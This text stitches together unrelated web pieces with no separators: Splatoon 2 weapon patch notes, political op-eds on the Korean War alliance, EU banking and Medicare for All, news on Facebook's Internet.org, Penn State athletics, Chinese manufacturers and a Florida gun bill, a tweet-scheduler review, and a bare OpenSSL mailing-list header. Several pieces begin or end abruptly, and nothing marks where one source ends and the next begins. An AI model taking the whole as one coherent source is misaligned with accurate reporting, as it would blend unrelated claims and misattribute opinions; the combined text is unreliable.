Splash-o-matic • Increased firing range by roughly 6%.
• Increased the amount of ink splattered by each shot making it easier to ink the ground.
.52 Gal ・Increased firing range by roughly 6% while not changing the range at which each shot deals more than 50 damage.
N-ZAP ’85 ・Changed to match the faster movement speed and swim speed when not shooting of weapons like the Sploosh-o-matic and Splattershot Jr.
• Increased movement speed while shooting by roughly 5%.
• Made it easier to ink the area around your feet.
Splattershot Pro
Forge Splattershot Pro ・Increased shot speed by roughly 67%, while not changing shot range.
• Decreased weapon sway when shooting on the ground by roughly 10%.
• Decreased weapon sway when shooting right after a jump by roughly 40%.
• Increased movement speed while shooting by roughly 10%.
• Increased radius of ink splatter caused by each shot by roughly 2%.
.96 Gal ・Increased damage of each shot from 52 to 62.
• Decreased weapon sway when shooting on the ground by roughly 8%.
• Decreased weapon sway when shooting right after a jump by roughly 40%.
H-3 Nozzlenose ・Increased shot speed by roughly 25%, while not changing shot range.
• Decreased duration of weapon sway after jumping by 5/60 of a second.
• Decreased time required for weapon sway to end once it begins ending by 15/60 of a second.
• Made it easier to ink the area around your feet.
Clash Blaster ・Increased radius of shot explosion by roughly 14%.
• Increased amount of ink coverage delivered by exploding shots.
Carbon Roller ・When inking ground continuously by holding ZR, player will now reach maximum movement speed one second faster.
• Made it easier to ink the ground in front of you when using a horizontal swing.
• Increased damage dealt to opposing Ballers with either a vertical or horizontal swing by roughly 40%.
Splat Roller
Krak-On Splat Roller
Hero Roller Replica ・Increased width of ink path when using ZR to ink the ground continuously and moving at maximum speed by roughly 8%.
• Made it easier to ink the ground in front of you when using a horizontal swing.
• Increased damage dealt to opposing Ballers with either a vertical or horizontal swing by roughly 40%.
Dynamo Roller ・Increased width of ink path when using ZR to ink the ground continuously and moving at maximum speed by roughly 13%.
• Slightly increased the width of ink coverage when using a horizontal swing from a location higher than the surrounding area.
• Increased damage dealt to opposing Ballers with either a vertical or horizontal swing by roughly 60%.
Flingza Roller ・Increased movement speed when the roller is being swung overhead.
・ Made it easier to ink the ground in front of you when using a horizontal swing.
• Increased range of ink flung by a horizontal swing by roughly 17%.
• Increased range at which maximum damage is dealt by a horizontal swing by 25%.
• Increased damage dealt to opposing Ballers with either a vertical or horizontal swing by roughly 40%.
Inkbrush ・Enemy ink will no longer have a negative effect when moving through it while holding ZR to ink the ground continuously.
• Increased damage dealt to opposing Ballers when flinging ink by roughly 40%.
Octobrush
Herobrush Replica ・Increased damage dealt to opposing Ballers when flinging ink by roughly 40%
Classic Squiffer ・Increased damage dealt to opposing Ballers when flinging ink by roughly 30%
Splat Charger
Firefin Splat Charger
Hero Charger Replica ・Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
Splatterscope
Firefin Splatterscope ・Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
E-liter 4K ・Increased radius of ink coverage when shots hit a wall by roughly 33%.
• Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
E-liter 4K Scope ・Increased radius of ink coverage when shots hit a wall by roughly 33%.
• Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
Bamboozler 14 Mk I ・Increased movement speed while charging by roughly 50%.
• Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
Goo Tuber ・Charged shots can now be stored when not at maximum charge.
• Decreased time between releasing a stored charge shot and shooting by 5/60 of a second.
• Increased damage dealt by fully charged shots from 160 to 180.
• Increased damage dealt to opposing Ballers when flinging ink by roughly 30%.
Mini Splatling ・Increased damage dealt from 28 to 32.
• Increased movement speed while charging by roughly 17%
• Increased movement speed while firing by roughly 14%.
Dapple Dualies
Splat Dualies
Enperry Splat Dualies
Hero Dualie Replicas ・Decreased duration of down time after performing a dodge roll by 8/60 of a second.
Dualie Squelchers ・Increased radius of shot ink coverage by roughly 9%.
• Decreased duration of down time after performing a dodge roll by 8/60 of a second.
• Player now able to move after performing a dodge roll, but before they can perform their next action.
Splat Brella
Hero Brella Replica ・Decreased time required to begin opening the umbrella by 8/60 of a second.
• After beginning to open the umbrella, decreased time required for it to open completely by 10/60 of a second.
• Increased movement speed while the umbrella is open by roughly 38%.
• While keeping the maximum damage of one shot burst at 90, increased the damage delivered by each shot that lands from 15 to 18.
• Decreased damage done to the umbrella by Shooters (excluding Blasters), Splatlings, and Dualies by roughly 30%.
• The umbrella will no longer be destroyed immediately after coming into contact with a Baller.
• Increased damage dealt to opposing Ballers when shooting ink by roughly 30%.
Tenta Brella ・Decreased time required to return to standard movement speed after moving while shooting by 10/60 of a second.
• Increased damage delivered by each shot that lands from 15 to 17.5.
• Increased maximum damage dealt by a shot burst from 120 to 122.5.
• Decreased damage done to the umbrella by Shooters (excluding Blasters), Splatlings, and Dualies by roughly 30%.
• The umbrella will no longer be destroyed immediately after coming into contact with a Baller.
• Increased damage dealt to opposing Ballers when shooting ink by roughly 30%.
Aerospray MG
Aerospray RG ・Decreased radius of point of shot contact by roughly 10%.
• Decreased radius of shot ink coverage by roughly 8%.
It’s odd that a conflict as pivotal as the Korean War could ever be “forgotten.” U.S. involvement saved millions of South Koreans from being swallowed up by a militarized slave-state.
That came at no small price: Truman’s unilateral decision crossed a constitutional Rubicon, eroding Congress’s power to declare war and leading to the deaths of more than 36,000 American soldiers — most of them conscripts — without the courtesy of an up-or-down vote on the war.
Americans can be proud of what their sacrifices helped achieve. But the Korean War’s anniversary ought to prompt rethinking a Cold War-era alliance well past its sell-by date.
After 60 years of guarding the ROK, haven’t we done our part?
When America signed a mutual defense treaty with the South after the 1953 armistice, the war-weakened Republic of Korea faced a communist enemy backed by China and the Soviet Union. Today, the “hermit kingdom” to the North remains belligerent — as shown by its recent torpedo attack on the ROK vessel Cheonan — but it’s a desperately poor, internationally isolated basket case.
A look at the famous nighttime satellite photo hints at the two countries’ relative strengths. In the North darkness reigns; but to the South, the brightly lit ROK is the world’s “most-wired nation” and its 13th-largest economy. It has twice the population and more than 20 times the GDP of the North.
Yet today some 28,000 U.S. troops remain in South Korea, ready to defend an ally that’s more than capable of defending itself. After 60 years of guarding the ROK, haven’t we done our part?
Apparently not. In a Saturday press briefing, President Obama marked the war’s anniversary by making clear that the U.S. isn’t going anywhere. He announced that the U.S. would retain wartime command of ROK troops in any future peninsular conflict, scrapping a plan to turn over control of South Korean forces in 2012.
The U.S. has an interest in denuclearizing the Korean peninsula, of course — but that doesn’t require American troops stationed along the DMZ, bearing a disproportionate amount of the risk in an allegedly “mutual” defense pact.
South Korea sacrifices some sovereignty in this bargain, but at least it saves money. The ROK spends 2.6 of its GDP on defense — well less than the United States — and falling. As my colleague Doug Bandow puts it in a forthcoming study, “Americans are borrowing money to pay to defend the South so South Koreans can spend their money on other priorities.”
That’s a common pattern in our Cold War-era alliances. U.S. membership in NATO, an alliance crafted to contain an enemy that collapsed 18 years ago, has helped keep European defense budgets low and subsidize lavish welfare states for NATO members. Yet we still account for half of the world’s military expenditures with a bloated “defense” budget largely devoted to the defense of other nations.
In his first inaugural address, Thomas Jefferson outlined the ideal American foreign policy: “peace, commerce and honest friendship with all nations, entangling alliances with none.” Toward that end, President Obama’s other announcement Saturday, that he would (finally) back a free-trade agreement with South Korea, was at least a half-step in the right direction.
One key part of that charm offensive is a dedicated portal that provides a go-to resource for operators seeking to connect with Facebook and offer the service — which was first announced in 2013 — to their subscribers. The site also lays out the business case, in Facebook’s eyes, behind Internet.org.
“As we approach year two, we’ve taken everything we’ve learned from working closely with our partners and are now ready to scale Internet.org free basic services. We’ve made it easier for any mobile operator to turn on Internet.org in new countries through a partner portal that includes technical tools and best practices, improving the process to offer free basic services to the unconnected,” Facebook wrote in a blog post.
Internet.org began with initial launches in Africa, but it has since expanded to cover 17 countries — including large populations like Pakistan, India and Indonesia — across three continents.
Facebook argued today that more than half of the 9 million users to have used the service signed up for a paid-for data package of some kind within the first month, and that it has directly led phone owners to adopt new services 50 percent faster than they otherwise would.
Those claims are obviously designed to encourage operators to the program, to help them convert customers into data users and smartphones, but Internet.org has attracted plenty of criticism for violating the principles of net neutrality.
Mark Zuckerberg has refuted calls — loudest in India — that by constructing a program of pre-selected services, Facebook and its operator partners play the role of gatekeeper rather than encouraging a free Internet.
Facebook responded to that accusation by opening Internet.org to third-party developers, theoretically enabling anyone to add their services (although there are cost considerations and operator-set regulations to content with), and today it said that the ratio of paying users adds further validation to its efforts.
“These points show that Internet.org is not only a successful tool in helping bring people online, but it is successful in showing people the value of the internet and helping to accelerate its adoption,” the company wrote.
The net neutrality argument will continue unabashed, but it’s a very important part of the package. Facebook is hoping that operators will put these concerns to one side and see the business value that it claims Internet.org can deliver.
Germany opposes the new bank-resolution mechanism proposed by the European Commission, generating moral and political support at home by portraying its stance as an effort to protect German taxpayers: Why should the German ants pay for the southern European grasshoppers?
In fact, Germany’s position is a ploy to hide its anticompetitive behavior, whereby the government subsidizes German banks and industry at the expense of everyone else — including German taxpayers.
Europe’s common market has been the single greatest success of post-World War II European policy, boosting economic growth and fostering cultural interchange. But a common market requires a level playing field, and the European Commission has worked hard to achieve this in many sectors over the years.
Until now, the main exception was banking. The emerging banking union is not only the first step toward a European fiscal union; it is also the final step toward completing the European common market. Without a common resolution mechanism that levels the playing field, the common market will remain unfinished.
In principle, the EU’s banking rules are common to all member states. In practice, their implementation was, until recently, left to national regulators, who applied very different standards.
Most important, while state subsidies in all other sectors are forbidden, they are commonly accepted in banking — not only explicit subsidies, such as Germany’s bailout of several Landesbanks after the American subprime-mortgage crisis, but implicit subsidies as well.
Some French banks’ traders openly boast of backing by the French government, which will never let its banks fail.
Unfortunately, this is not just a French or a German problem. All market players know that EU governments will not let big banks fail. This implicit subsidy not only costs each country’s taxpayers billions of euros; it also distorts competition, because not all implicit subsidies are created equal.
Regardless of its fundamentals, a German bank would be considered safer than an Italian one, because the German government’s implicit guarantee is much more valuable than the Italian government’s.
As a result, German banks have a lower cost of funding and — all else being equal — higher profitability. To the extent that some of the lower cost is rebated to their clients, even industrial firms in Germany enjoy a lower cost of capital, giving them an unfair advantage vis-a-vis their European competitors.
One way to prevent this distortion would be to create a mechanism to bail out all banks with European money.
But this approach would not only leave German taxpayers on the hook; it would also create perverse incentives in the entire European banking system, maximizing instability.
The preferred alternative is to create a common resolution mechanism, which would apply throughout Europe, regardless of a bank’s country of origin. Such a mechanism would prevent the need for government intervention.
The recent proposal by Michel Barnier, the European Commissioner for the Internal Market and Services, is an effort to implement this solution. It provides a common resolution mechanism for all banks in Europe, which forces losses to be absorbed by shareholders, bondholders, and large depositors before any government money is committed.
To provide short-term financing to a bank during any restructuring, the Commission’s plan would create a European Fund, putting all banks on an equal footing. The Commission’s proposal is far from perfect.
After a bank’s shareholders are wiped out and its creditors take an 8 percent “haircut,” the European Fund transforms itself into a bailout fund, justifying some of Germany’s fears. And there is no explicit prohibition of some form of national government bailout.
Even so, the proposal is a step in the right direction. German criticism should be directed at improving it, not sandbagging it.
German taxpayers have paid dearly for German banks’ mistakes. In 2008, when the Landesbanks were found to be full of American subprime mortgages, the German government bailed them out with a €500 billion ($650 billion) rescue package at its taxpayers’ expense.
In 2010, when German banks were badly over-exposed — to the tune of $704 billion — to Greece, Ireland, Italy, Portugal and Spain, European taxpayers and the ECB helped them to bring most of that money home. The biggest threat to German taxpayers is not southern European profligacy, but their own country’s banks.
In this sense, the banking union is not a scheme to burden German taxpayers with the losses of failed southern European banks; rather, it is a mechanism to render all banks (including German ones) accountable for their own mistakes, thereby reducing the burden that they impose on domestic taxpayers.
It is about time that German voters understood that the largest grasshoppers are in the center of their own towns.
Amid reports that Northwestern AD Jim Phillips has been targeted as at least one favorite to succeed Joyner, I've learned through several university sources that, while new PSU president Eric Barron has not decided on a successor, it's been decided that Joyner will not stay on and his departure will soon be announced, possibly by the end of this week. That, in itself, is something of a landmark moment for Penn State athletics.
My texts and calls to Joyner today were not answered. But it's accurate to say that I've found him responsive and cordial throughout his very difficult stint as AD.
Certainly, Joyner will be remembered as the man who ran the ship, for better or worse, through its most turbulent waters – in the 2½ years following the Jerry Sandusky child abuse scandal. His legacy will be attached to the hiring of two football coaches, one a consensus home run, the other an early fan favorite whose results are to be determined.
For some inside the Penn State athletic offices, Joyner will represent an impersonal style and sometimes dictatorial method that could chafe. For others, he was the former All-American wrestler, the linear thinker, who simply made necessary decisions as he saw fit.
It would probably not be accurate to say Joyner had a lot of fans among the school's 31 varsity sport coaches. Then again, the relationship is often strained between bean-counting athletics directors and hot-blooded coaches in most high-major college athletic programs. The paradox of coaches is that they are leaders but they also want to be led – or at least communicated with. In that vein, Joyner could be judged less than ideal as an AD.
And among those who revered the late former football coach Joe Paterno, he will always be painted soot black as one of the trustees who voted to fire him in the Sandusky maelstrom's immediate wake. Their zealous stance is, of course, intractable by any means.
Personally, I always found Joyner to be reasonable in our dealings if occasionally obtuse and hyper-analytic in the manner of the former orthopedic surgeon he was. I thought it was more that demeanor that got him booed by fans during various game introductions and carped about by coaches as much as any decisions he made. I thought he strode into an infernal situation when asked by then-president Rodney Erickson and did the best he could – admirable in itself considering the prevalent atmosphere.
A good illustration is his most important decision of all – the hiring of Bill O'Brien as Paterno's successor in January 2012. It can be questioned as a perfect hire only by the truly combative or those who contend it was actually driven by heavyweight donors Terry Pegula and his former wrestling buddy Ira Lubert.
The fact is, O'Brien was the best possible man to lead the program at the worst possible time and Joyner pulled the trigger. And, after O'Brien departed for the NFL, the search process and subsequent hiring of James Franklin was all Joyner's.
Beyond the volatility of its period, Joyner's tenure likely marks the type of transition that has been seen at many large college athletic programs – between the rubber-stamp function of predecessor Tim Curley and what could be a more marketing and metrics-oriented hire in the mold of Michigan State's trend-setter AD Mark Hollis.
Over are the days of former football players, of whom Joyner and Curley were two in Paterno's early classes, ascending to the athletic director post as a mere right of passage. The name of the game now is finding creative revenue streams through non-stop promotion.
Joyner was not perfect. But nothing else at Penn State during his stint was close to ideal, either. That he even took the job at a time when many would not have touched it is, in my mind, to his eternal credit.
DAVID JONES: djones@pennlive.com.
There's one more weekend to drink booze slushies at Tropical Liqueurs in Soulard.
This will be the last weekend for Tropical Liqueurs in Soulard.
The purveyors of alcoholic slushies plan to shut down at midnight on Sunday, December 4, and reopen in the spring at a new, larger space in the Grove. Trops' rebirth in the growing party district will include a partnership with Guerrilla Street Foods, a Tower Grove East favorite inspired by Filipino street food.
Now, as if the idea of anything but heterosexuality being mentioned in schools weren’t bad enough, the bill could go so far as to insist that no mental health counseling whatsoever take place under the care of school guidance counselors. This would mean that there could be no talk of eating disorders, divorce trauma, bullying, suicidal thinking, or any of the other plethora of problems kids might face. This part of the bill is the work of House Sponsor Representative John Ragan(R). The reasoning behind all this is, supposedly, according to WBIR:
School counselors in general are licensed, hired and paid to be counseling on academic and career education,” said state Rep. John Ragan, R-Oak Ridge. “We do not pay them nor license them to counsel on anything else.” […]
Teachers, counselors and principals instead would be asked to give students a referral for psychiatric care if they bring up mental health or lifestyle issues. School districts would also have to train educators on how to handle such questions.
Now, as an LGBT American who grew up in a southern high school and came out of the closet to some of the most horrific ridicule imaginable, I think I can safely say that this bill, with or without this new amendment, is not only unnecessary and discriminatory, but dangerous as well. We already have a rash of suicides that have swept the nation as a direct result of the treatment of LGBT kids in schools, and it shows no signs of slowing down, despite the massive efforts of activists and advocates. Now, we are having this problem helped along by people who should be on the sides of our youth. If anything, we need to encourage counselors and other school officials to discuss issues with students. Said discussion could prevent tragedies.
Using Twitter is really about the here and now. You find an interesting article, a cool picture, an awesome video, or maybe you just want to share something you’ve just realized or thought of. Either way, the way Twitter works, you’re supposed to open a client, write your tweet, send it, and repeat this sequence every time you want to share again. So yes, tweets can only have up to 140 characters, but the process can still get pretty time-consuming.
This leaves us with two main options: Become a Twitter addict, tweet every time you think of something or discover something cool, no matter where you are; or neglect your Twitter account, forget to update it for days or weeks, and miss sharing things you actually meant and wanted to share. It’s not black and white, of course, you might be somewhere in between, but in my experience, it mostly goes in these directions. The solution? Schedule tweets!
No, you’re not going to become a bot, and if you do it wisely, it’s still going to feel like a live and natural account. In addition, most Twitter analyzers provide best times to tweet depending on your followers. With a schedule, you can get the most impact for your tweets, and make sure most of your followers see them. Scheduling tweets is not hard – most of you have probably done it at least once. Here is a list of the best services, compared.
Buffer Schedule & Post Updates For Twitter, Facebook, & LinkedIn With BufferApp [Chrome] Schedule & Post Updates For Twitter, Facebook, & LinkedIn With BufferApp [Chrome] Buffer is a web service for scheduling tweets, LinkedIn profile and group posts, as well as Facebook updates for both profiles and pages. Buffer is great if you want to plan ahead and schedule your... Read More is a brilliant service that helps you figure out the best times to tweet according to your time zone, and lets you schedule up to 10 different tweets for those times (unlimited for paid accounts). Your tweets are kept in a buffer, and are sent on their way according to your schedule. Buffer also offers some analytics on updates you send through it, and you can find a handy Buffer button on numerous services such as Feedly, Pocket, Reeder, Instapaper, TweetCaster, and others.
There are also Buffer add-on’s available for Firefox and Chrome, and Buffer mobile apps for Android and iOS.
Buffer is not only for Twitter. You can use it to schedule updates on Facebook, LinkedIn and App.net as well.
Overall score: A+
Further reading: The perfect way to schedule your tweets: Tweriod + Buffer + Pocket + IFTTT The Perfect Way To Schedule Your Tweets: Tweriod + Buffer + Pocket + IFTTT The Perfect Way To Schedule Your Tweets: Tweriod + Buffer + Pocket + IFTTT We've come up with the perfect way to figure out when to post your tweets, what services to use to automate the process, and also have a few tips and tricks for you on how... Read More
Everyone’s heard of TweetDeck Don't Clutter Your Computer: TweetDeck For Chrome Is A Complete In-Browser Social Client Don't Clutter Your Computer: TweetDeck For Chrome Is A Complete In-Browser Social Client If you use Twitter in any capacity, there’s a 75% chance you’re using a client. After all, Twitter’s web interface is not the most convenient, and if you’re keeping track of more than one account,... Read More , but not everyone knows you can use it to schedule tweets in advance. TweetDeck is Twitter’s own client, and is available as a desktop client for Windows and Mac, a Chrome app, and was only recently discontinued as a a mobile app for iOS and Android. It’s a fully-fledged Twitter client you can use to tweet, read tweets, manage lists, favorites, etc. It also supports multiple accounts, but doesn’t support any additional social networks other than Twitter.
TweetDeck makes it easy to schedule tweets for later, but doesn’t help you decide which times to schedule them to. Click the clock icon on the tweet screen to set a date and time for your tweet. You can then view your scheduled updates in the Scheduled column
In the past, I had some issues with scheduled updates not being sent, but this is a rare occurrence, and seems to have been fixed since.
Overall score: A-
Further reading: 10 tips to help you use TweetDeck and Twitter more efficiently 10 Tips to Help You Use TweetDeck and Twitter More Efficiently 10 Tips to Help You Use TweetDeck and Twitter More Efficiently If we have to actively use social networks like Twitter, Facebook, LinkedIn, and Google+, we have to be efficient at them. We have to streamline them so that we can mine a blink-and-you-miss source like... Read More
HootSuite is another client that needs no introduction. It’s much more than a Twitter scheduler, and can be used as a centralized dashboard for all your social networks, including Twitter, Facebook, Google+ Pages, LinkedIn, and more. It’s available as a Web app or a mobile app for Android, iOS and Blackberry. HootSuite includes a pretty awesome scheduler, which lets you flexibly schedule updates to any date and time you want.
Alternatively, you can use HootSuite’s own algorithms, and let it schedule them for you using its AutoSchedule feature. This feature uses your own data to determine the best time to tweet for optimal impact. HootSuite is a powerful tool, and makes it easy and convenient to schedule tweets. If you’re just looking for a way to schedule your updates, though, it might be a bit of an overkill.
Overall score: A
Further reading: Let Hootsuite Be Your Android Hub For Twitter, Facebook & LinkedIn Accounts Let Hootsuite Be Your Android Hub For Twitter, Facebook & LinkedIn Accounts [Android] Let Hootsuite Be Your Android Hub For Twitter, Facebook & LinkedIn Accounts [Android] If you're a fan of using Twitter or Facebook on your mobile, then you have every reason in the world to check out the Hootsuite Android application. And speaking as someone who has recently explored... Read More
Dopo.io
If apps and clients are not really your thing, or you want to be able to schedule tweets from absolutely anywhere (with an Internet connection), Dopo.io could be the solution for you. With Dopo.io, you get to schedule up to 15 tweets through a simple email. All you have to do is connect your Twitter account, set up to 4 times a day to send your tweets, and get your unique email address.
To schedule a new tweet, email this address, write “buffer” in your subject line, and write your tweet in the email body. It will automatically be scheduled for the next available time slot. You can schedule several tweets in one email by separating them with an empty line. If you change your mind, you can log on to Dopo.io and erase your tweets.
There are some drawbacks to the service: For some reason, you can only schedule tweets to full hours (i.e., 9:00, 13:00, 22:00), times are in UTC only, you cannot re-order your tweets once they’re scheduled, and there’s no built-in way to shorten URLs. The service is very basic, and might not be enough by itself, but it’s a great way to be able to send updates to Twitter when you have access to nothing else.
Overall score: B
Twuffer is a combination between Buffer and an in-client scheduler such as TweetDeck’s. It’s a stand-alone Web app that can be used only to schedule tweets and track the tweets you’ve sent. Using Twuffer is pretty straightforward: Write your tweet, set a date and time and hit “Schedule Tweet”. The only important thing you have to do is set your time zone before you start scheduling, otherwise Twuffer won’t know which times you mean.
Twuffer’s interface is simple but not the prettiest, you can only schedule tweets on times rounded to 5 minutes (i.e., 10:05, 23:45, 12:25), and it doesn’t have a built-in URL shortener. On the other hand, it does let you sort your scheduled and sent tweets in several ways. If you’re looking for a simple solution that doesn’t involve any apps or clients, but does let you track your tweets and schedule many of them, give Twuffer a spin.
Overall score: B
LaterBro is another Web app dedicated solely to scheduling updates, but this one supports Facebook updates too. LaterBro is similar to Twuffer, but includes a built-in URL shortener, which is a nice addition. In theory, you can add more than one Twitter account to LaterBro, but I couldn’t get this to work. To schedule tweets you need to first set your time zone, and then start entering your tweets and setting dates and times.
LaterBro has a nice interface for setting your time, but if you want something more precise such as 18:32, you can enter it manually and press enter. It won’t work if you enter this time and click on “Schedule”. Below the update box, you’ll find a list of your scheduled tweets complete with dates and times. All in all, it’s a nice way to schedule updates, especially if you’re using it for Facebook as well.
Overall score: B+
Further reading: 5 free methods to schedule Facebook updates 5 Free Methods To Schedule Facebook Updates 5 Free Methods To Schedule Facebook Updates At MakeUseOf, we’ve already covered several ways you can schedule Twitter updates, so that even if you’re not at your computer, you can continue to send information, links and thoughts to your followers. The same... Read More
Which Should You Choose?
According to my scores, this is the final order, from best to worst:
1. Buffer
2. HootSuite
3. TweetDeck
4. LaterBro
5. Twuffer/Dopo.io
This doesn’t mean Buffer is the right solution every time, but it’s an excellent service that can be combined with many others to create the perfect experience. If you have special requirements, such as a client that can schedule tweets, a very simple interface, or the ability to schedule by email, choose one of the other options.
A number of China's private manufacturers are experiencing growth as they reinvent themselves after years of struggle with rising wages and low foreign demand, Bloomberg reported.
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Dakang Holding Co, a chair manufacturer from Anji County in Zhejiang Province, for instance, has reported a 20-percent surge in annual sales and 8 percent increase in its profit. The company produces 70 million chairs annually but has to struggle with cheaper Vietnamese rivals and rising production costs. In 2013, Dakang invested 71 million yuan ($105 million) on automation, restructured its management and shifted to making gamers chairs.
"Our order book is full through 2020," Yuan Guofei, the company vice president, said.
In contrast, the country's state sector firms have a different experience as they have to restructure to increase the productivity in old industries. State firms also have very limited competition while Dakang has to contend with about 800 chair manufacturers in Anji alone, according to Yuan.
"These kind of restructurings are what you get when industries are exposed to genuine competition and global standards for quality," Andrew Polk, head of China research at Medley Global Advisors, said. "China's government hasn't done well implementing those types of measures and should be more focused on them rather than propping up struggling and outdated state-sector firms."
Fielding Chen and Tom Orlik, economists at Bloomberg Intelligence said that state-owned enterprises (SOEs) account for about 40 percent of China's industrial assets and 18 percent of employment. But these enterprises only posted an estimated 2.8 percent return on assets in 2015, pulling down growth, compared to 10.6 percent from private firms.
In addition, private firms in China have to restructure and innovate to survive, unlike SOEs which do not have to undergo the reform processes.
At the Canton Fair in Guangzhou last week, most Chinese private firms interviewed at the biennial event point to innovation as an essential key to growth. About 25,000 exhibitors and 180,000 foreign buyers joined the event.
Yu Jinling, a sales manager for Rogerlin, a bag maker based in Quanzhou in Fujian Province, said that they create 60 designs a year to attract attention at the fair. He said that the company has invested in printing machines to cut labor costs and enhance the quality of their products.
On the other hand, Fan Miaochang, a senior sales representative of clock maker Dannol Electronics Co. said that they have added features such as temperature and humidity gauges in their clocks, and obtained licensing rights for clocks featuring soccer teams and Disney characters.
Policymakers pledged to speed up reform in the state industry as last month, the government released the guidelines for reducing corporate debt, stating that it does not have final responsibility on company borrowing. The move is now expected to make borrowing difficult for SOEs.
A study commissioned by the country's top policy-making agency has recommended some reform proposals which included giving private companies with greater access to restricted industries, protections for investors, less government meddling and participation in business policy making.
"We're starting to see state-sector restructuring begin, but it's slow, lumbering and without a clear endgame," Michael Every, head of financial markets research at Rabobank NA in Hong Kong, said. "The private sector is ahead of the game."
Restructuring in the private sector has allowed China to maintain its share in world exports despite the rising cost of wage and materials and competition from other countries.
However, the state-sector needed restructuring, according to Frederic Neumann, co-head of Asian economics at HSBC Holdings Plc in Hong Kong.
"The two are interlinked," Neumann said. "Private activity will not revive unless some of the privileges state firms currently enjoy are pruned. Conversely, the government will be reluctant to accelerate public sector restructuring unless there are signs that private companies will carry growth. In the end, what matters is that China unleashes another burst of productivity growth."
While some employer-insured Americans are satisfied with the health care they receive, tethering health insurance to employment generates enormous economic anxiety and insecurity, shaping and constraining the life choices and aspirations of millions of people. People take jobs they find otherwise undesirable and stay in ones they’d otherwise quit. They curb their demands on the job for fear of getting fired and losing their health insurance. They’re prevented from realizing their potential not just because they might not get the care they need or because they might still end up in bankruptcy, but because of the oppressive hoops they must jump through to acquire health insurance.
For most Americans, a job is a job. This isn’t to say that people at all rungs of the economic ladder can’t derive meaning from their work (among non-elite professions, clergy and firefighters stand out in job satisfaction studies). But for the majority of Americans, work is more of an obligation than a passion. They do it to survive.
This compulsion creates a relationship of subordination: workers, to varying degrees, are forced to accept terms of employment that they wouldn’t agree to voluntarily. In the US — unlike other advanced capitalist countries — the need to obtain health insurance through employment introduces an additional source of leverage for employers. After salary or wages, the most significant part of the employment contract tends to be health insurance. And employers know it.
The resulting dependency and vulnerability is especially acute when a worker’s entire family relies on them for health coverage (particularly if one of their family members has a chronic or life-threatening disease). In such cases, health insurance surpasses even monetary compensation as the primary motivation for maintaining employment. When your child has cancer, it’s that much harder to speak up about your boss’s sexual harassment.
On top of that, job security isn’t a certainty in many segments of the American job market. While those in the top tier of society rest easy knowing they will be paid for what they know, who they know, and who they are, many workers routinely worry about losing their jobs due to mass layoffs, a failed drug screening, a conflict with a superior, a business closure, or outsourcing — as well as the ensuing specter of a long and drawn-out job search that may end up dumping them into the ranks of the long-term unemployed. At-will employment, a fixture of American law, is a godsend for employers and an albatross for employees.
Given this landscape, enacting a single-payer system would be one of the most liberating policy advances the US has seen in decades. While other types of incremental health reforms (including Obamacare) claim to move toward universality and affordability, only a Medicare-for-All system would sever the connection between health insurance and employment. It would dramatically change the employment calculus for every working person in the country, shifting power away from the boss.
The workplace might remain a realm of “private government,” as Elizabeth Anderson puts it, but it would become a little less autocratic. No longer would health insurance be something companies could dangle over workers’ heads. (This might be why, despite potential cost savings, most employers aren’t exactly rushing to wave the single-payer flag.)
Often we view progressive economic policies solely through a material lens: workers need higher wages, pensioners need better benefits. This took a crude form in 2016, when then-presidential candidate Jeb Bush suggested that Democrats won over black voters by offering them “free stuff (and Hillary Clinton attacked Bernie Sanders for “promising free this and free that and free everything”).
But what the political class misses is that “free stuff” is about more than just money — it is about freedom and liberty for ordinary people. Lack of health insurance (and college debt, and middling disability benefits — the list goes on) severely limits a person’s ability to choose which career to pursue, where to live, when to start a family, how many children to have, and what types of hobbies to take up. In short, it’s not about free stuff — it’s about a free life.
Given that the propaganda campaign against Medicare for All will surely invoke the bogeyman of a tyrannical “government takeover,” fashioning an alternative frame — one that casts the private, employer-based insurance system as the true affront to freedom — will also be of immense practical use.
By Date By Thread New OpenSSL double-free and invalid free vulnerabilities in X509 parsing From: Guido Vranken <guidovranken () gmail com>
Date: Tue, 11 Oct 2016 19:18:00 +0200
Listen to the story!
The Senate already passed the measure weeks ago, and the House just passed the measure by Rep. Heather Fitzenhagen (R-Fort Myers) Thursday.
“This bill is the narrowly tailored exception to the requirement to have a concealed weapons permit,” said Fitzenhagen.
But, before the vote, many Democrats voiced their opposition to the NRA-backed measure. That includes Rep. Representative Cynthia Stafford (D-Miami).
“When I think about emergency evacuations, chaos, stress, and anxiety are words that come to mind,” said Stafford. “And, now we want to introduce guns into that equation, especially by people who may not be licensed to carry a gun. That not only concerns me, but it also frightens me.”
And, she provided an example of the type of “unintended consequences” she believes could occur.
“What if someone who does not have a gun license puts their gun in their purse at a public shelter and puts it down on the floor, and a child or someone else picks it up, for that matter. That’s dangerous and concerning,” Stafford added.
And, in keeping with that argument, Rep. Ed Narain (D-Tampa) likened the measure to the passage of Florida’s controversial Stand Your Ground law.
“I fear that in passing this bill, we could one day find ourselves reeling from one of those unintended consequences. You see, when Stand Your Ground was put into law, it was to allow people to protect themselves in dangerous potentially emergency situations. And, as we’ve seen over the years, there have been unintended consequences with that law.”
But, Rep. Julio Gonzalez (R-Venice) doesn’t see it that way. He says it’s an issue of safety, travel, and property rights. And, he says there will be unintended consequences if the bill doesn’t pass and later become law.
“Imagine the thousands and thousands of weapons that are going to be left unattended in people’s homes where police is not immediately available, and first responders are going to be delayed in responding,” said Gonzalez. “What does that do to those who are going to take unlawful and undue advantage of the situation back home?”
Last year, the original measure stalled, after law enforcement came out against the bill, saying it was too vague. This year, the Florida Sheriffs Association and other law enforcement groups are on board with bill, after a provision was put in to allow a timeframe of 48 hours for the amount time people have to evacuate with their firearms.
It also brought some Democrats, like Rep. Katie Edwards, on board. But, Rep. Lori Berman (D-Lantana) says she’s still concerned.
“I’m not sure what happens after 48 hours,” said Berman. “You’ve’ got the gun. The emergency is no longer declared. What to do you do with the gun then? You have to get it back to a place where you need it safely.”
Still, bill sponsor, Fitzenhagen says, she disagrees with a lot of the arguments.
“This is not about Stand Your Ground,” Fitzenhagen stated. “This is not about unintended consequences. The unintended consequence would be, for certain, having looters to come and take weapons and firearms that have been left behind, whether they be valuable heirlooms or just standard issued firearms. I’m frightening at the prospect of not passing this bill. If you think for one moment, that I want to walk out in an emergency situation and not be able to have some means of protecting myself or my family, you’re sadly mistaken.”
